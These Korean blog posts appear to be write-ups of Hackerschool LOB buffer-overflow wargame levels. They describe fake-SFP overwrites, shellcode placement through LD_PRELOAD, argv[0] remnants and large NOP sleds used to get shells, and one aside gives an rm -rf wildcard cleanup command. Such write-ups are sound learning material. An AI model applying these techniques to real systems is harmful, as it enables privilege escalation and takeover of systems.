이제 저기서 찾은 주소값으로 공격을 할 수 있는데 단순히 +4를 넣어주는것이 아닙니다 ( 위에 올린 문서링크를 읽고 참고해주세요 )

 +4는 일단 leave,ret 하는 과정에서 pop을 할때 +4가됩니다.그 후에 단순히 +4만 해야하는것이 아니라 우리는 sfp값을 변조해서 쉘코드가 잇는곳을 실행시키도록 하는 공격을 사용하는것인데 buffer가 들어있는 주소 값 (+4)까지 생각을 해야 하므로 
공격하려는 주소에서 -8을 해서 공격을 해주면된다

94-8을 해줘서 8c로 공격을 하였더니 권한을 휙득할 수 잇었다 .


'해커스쿨 lob' 카테고리의 다른 글

LOB giant  (0) 2016.05.12
LOB bugbear  (0) 2016.05.12
LOB golem  (0) 2016.05.10
LOB skeleton  (0) 2016.05.05
LOB vampire  (0) 2016.05.04


golem 의 소스입니다 
마지막 부분이 추가됫네요 

 // stack destroyer!

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

buffer부터 메모리 끝 영역까지 전부 초기화 해버려서 저번 문제에서 사용햇던 메모리 마지막 영역을 사용 할 수가 없게되었다.

고민하고 시도해보다가 알게 된 방법이 리눅스 공유 라이브러리에 대한 개념을 알아야한다 . (타 블로그와 위키에서 공부를 하였습니다.)
https://wiki.kldp.org/HOWTO/html/Program-Library-HOWTO/shared-libraries.html

LD_PRELOAD 

프로세스 실행 과정 중 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.

즉, 자동으로 후킹을 수행하도록 해준다는 말과 같다.

0xff                                    ~                                      0x00
커널 | argv | argc | ret | ebp | buf | 공유라이브러리 | heap | data | code
      |---------  stack ----------------|

 메모리 구조는 이런식으로 구성이 되어있고 여지껏 stack을 이용해서 공격을 진행해왔습니다 .
그리고 이번 문제는 공유라이브러리 영역을 이용해서 공격을 해야합니다 .

원래 프로그램을 실행시키면 보통의 공유 라이브러리를 로드하지만
LD_PRELOAD를 정의할시 프로그램을 실행하면 LD_PRELOAD에서 정의해준 라이브러리를 로드하게되고 이번에는 저 공유라이브러리 영역에 데이터를 올려서 진행을 할것이다 .

공유 라이브러리 영역에 쉘 코드를 넣은뒤에 RET주소를 공유 라이브러리에 넣은 쉘코드의 주소로 덮어 씌워준다 
위키 3.4를 참고하여주세요 
gcc -fPIC -shared -o ./shellcode ./Empty_Test_Program.c
위키 3.5를 참고하여주세요 
export LD_PRELOAD=./shellcode
shell코드 주소를 확인 후 ret주소에 덮어쓴다 

이 정도가 순서가 되겠습니다 그럼 진행해볼게요 

진행을 하던 도중에
collect2 : ld returned 1 exit status 라는 오류가 떳네요 
이유를 생각해보니 직접 라이브러리 정의를 안해준거같습니다 .

라이브러리 정의 문제가 아니였고 생각해보니 공유 라이브러리도 하나의 심볼릭링크로 만들어주는 작업이기때문에 \x2f 가 제외된 48바이트 쉘코드를 이용해서 풀엇어야 했습니다 .


별다른 오류가 뜨지않는걸 확인했습니다
export를 이용해서 정상적으로 LD_PERLOAD에 올라가 있는지 확인해보겠습니다


정상적으로 등록된거같습니다 


환경변수에 등록한 이후에 gdb를 열려고하니 자꾸 저러한 에러가 떠서 gdb를 먼저 분석한 후에 환경변수를 등록하고 진행을 해보겠습니다 .


leave 부분에다가 브포를 잡고 진행을 해보겠습니다 


계속 ls:error in loading shared libraries 라는 에러가 뜨면서 진행을 계속 하지 못했습니다 찾고 찾고 찾고 또 찾아본후 가장 유력한 원인이 gdb버전이 낮아서 에러가 난거같다는 주장이 잇었습니다 분명히 bash2를 썻는데..하며 생각해보며 혹시나 하는 생각에 /bin/bash2 export SHELL =/bin/bash2도 사용해줬습니다 .

심볼릭링크도 지운 후 다시 만들엇더니 오류가 뜨지 않았습니다 ..

문제 진행할때 저 친구들을 입력하는것을 습관을 들여야겠습니다-_-;


공유 라이브러리는 낮은 주소에 잇다는걸 확인을 하여서
esp에서 -100부터 -200.. 점점점점 낮춰가며 노가다를 한 끝에 놉코드와 쉘코드 친구들을 발견했습니다 .정말 반가워요 

적당한 주소값을 고른 후 공격을 해보겠습니다 


심볼릭링크로 공격을 해줘야하나 아니면 다른 쉘코드를 추가로 써줘야하나 무엇을 먼저 시도해볼까 고민을하다가 저렇게 공격을 했더니 바로 쉘을 휙득했습니다
기법을 전혀 모르면 풀 수 없고 알아도 저런 어처구니없은 버전의 낮음이 가져온 폐해였습니다

'해커스쿨 lob' 카테고리의 다른 글

LOB bugbear  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11
LOB skeleton  (0) 2016.05.05
LOB vampire  (0) 2016.05.04
LOB troll  (0) 2016.05.04


이번 vampire 코드에는 새롭게 ultra argv hunter! 가 생겼네요 

for(i=0; i<saved_argc; i++)
                   memset(argv[i], 0, strlen(argv[i]));
i= 0이고 saved_argc보다 작을때까지 for문으로 반복을하는데 
argv[0]까지 사용 못하네요 그러면 이제는 도대체 어떻게 공격을 해야할까요 


스켈레톤을 tmp폴더로 옮긴 후 gdb로 열어봤습니다 .
몇시간을 끙끙 거리다가 도저히 안될거 같아서 지인에게 여쭤보고 찾은 기법
fake ebp입니다 
*먼저 fake ebp는 leave , ret을 이용합니다 
leave = move esp , ebp        ret   pop eip
           pob ebp                       jmp eip
ret 에서 eip에 leave의 주소를 넣어줌으로써 leave를 두번 실행한다
문제를 풀면서 예시와 함께 설명을 드리겠습니다 .

먼저 leave에 브레이크 포인트를 잡아주겠습니다 

먼저 A*40[버퍼] + BBBB [SFP] +CCC+\xbf [RET]



leave 말고 buffer의 주소를 찾기위해 strcpy 다음에 브레이크 포인트를 걸어줬습니다

버퍼에 A가 쌓여있는것을 확인할 수 있습니다 SFP와 RET도 보이는군요

------------------------------------------------------------------실패햇읍니다
(fake ebp로 푸는게 아님)



남아있는 값을 확인하기 위해서 48개만큼 bf로 채웠습니다 

0xbfffffec에 argv[0]에서 남아있는 값들이 남아 있는 것을 확인했습니다


argv[0] 값을 확인해보기 위해서 x/s로 하나하나 봤더니 지워지지 않은 argv[0]이 존재하였습니다 

심볼릭 링크를 이용하고 ../AABB 로 시작을 하기 때문에 +6을 해서 ee +6 을해서 
0xbffffff2를 argv[1] ret에 넣었습니다 


export SHELL =/bin/bash2 를 하면 gdb에서 bash2가 적용됩니다 


gdb에서 아까 처음에 심볼릭 주소 +6이 되있어서 argv[0]주소에 +6을 해준 값을 ret 주소에 넣어줬습니다  
세그멘테이션 폴트가 발생한것을 파악하고 0xbfffffa0 의 주소들을 한번 봐보기 위하여 x/100wx 로 봐줬습니다 . 0xbfffffc0 : ~ 0xeb424241 이 발견됬고 
0xbfffffc0 부터 4바이트씩 표현을 해주면서 파악해줬습니다


쉘코드가 시작되는 0xeb가 0xbfffffcb에서 확인되었고 얻은 cb를 이용해 놉*44+ret주소에 0xbfffffcb로 바꿔줘서 

eip = 현재 명령어를 확인하게 해주는 친구 를 사용해서 봐줬는데
연산결과가 스택끝값을 넘어가는것을 확인해서 세그폴이 발생하는것을 확인하였습니다.
그래서 a를 추가적으로 쉘코드 뒤에 추가적으로 써줘서 주소의 끝값에 닿지 않도록 하여서 공격을 하였습니다 


주소를 넣기 편하게 해주기 위해서 \x90 놉 코드를 50개 정도 넣어주었고 아까 말씀 드렸더건처럼 a를123개 그냥 무작위로 크게 넣어줘서 주소 끝값에 닿지 않도록 하였습니다 .


stack is still your friend 라는 문구가 뜨지않도록 그냥 \xbf를48번째에 넣어준후에 주소를 봐보니 a의 주소값들이 정상적으로 출력되고 있습니다 .


0xbfffff40에서 값을 봐주니 nop코드가 보이고 쉘코드가 보이는것을 확인할 수 있습니다 .




*번외 rm -rf `python -c 'print "\x90'`*
=\x90으로 시작하는 친구들을 모두 지워준다 

'해커스쿨 lob' 카테고리의 다른 글

LOB darkknight  (0) 2016.05.11
LOB golem  (0) 2016.05.10
LOB vampire  (0) 2016.05.04
LOB troll  (0) 2016.05.04
LOB orge  (0) 2016.05.02


뭔가가 더 추가되서 등장할 줄 알았는데 
에그헌터라던가 그러한 친구들이 지워지고 새로 등장한 친구는
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}

argv[1] 의 [46] 부분이 \xff면 stack is your friend 라는 문구와 함께 종료가 되버리는군요.


모든 프로그램이 완료된 후를 보고싶어서 ret에 브레이크 포인트를 주었습니다.


그러니 아무리 진행을 해도 but it's not forever 이라는 문구와 함께 실패를하고 
코어파일을 아무리 분석해봐도 여러가지 다른 방법을 써봐도 ff를 벗어날 방법을 생각 못하고 있던 와중에 argv[2]에는 한도가 없지 않았나 ?
1000개를 넣어보자 하고 생각이 들었습니다.


값이 변하는게 느껴져서 

10000개를 넣어줬습니다


이대로 좀더 값을 주면 ff값도 넘어갈 수 있을거 같습니다


10만개를 넣어줬더니 드디어 ff에서 벗어나서 fe가 나오는군요 ..!

어차피 nop코드를 넣어줬기에 무시하고 쭈우우우욱 실행되므로 nop의 적당한 주소를 넣은 argv[1]의 리턴값에 넣어준 다음에 진행 해보겠습니다 


argv[1]에 필요없는값44개와 nop의 주소를 박아준뒤에
argv[2]에 놉 코드를 10만개 사용한뒤에 쉘코드를 넣어줌으로써 권한을 얻는것을 성공하였습니다 .

'해커스쿨 lob' 카테고리의 다른 글

LOB golem  (0) 2016.05.10
LOB skeleton  (0) 2016.05.05
LOB troll  (0) 2016.05.04
LOB orge  (0) 2016.05.02
LOB darkelf  (0) 2016.05.02

+ Recent posts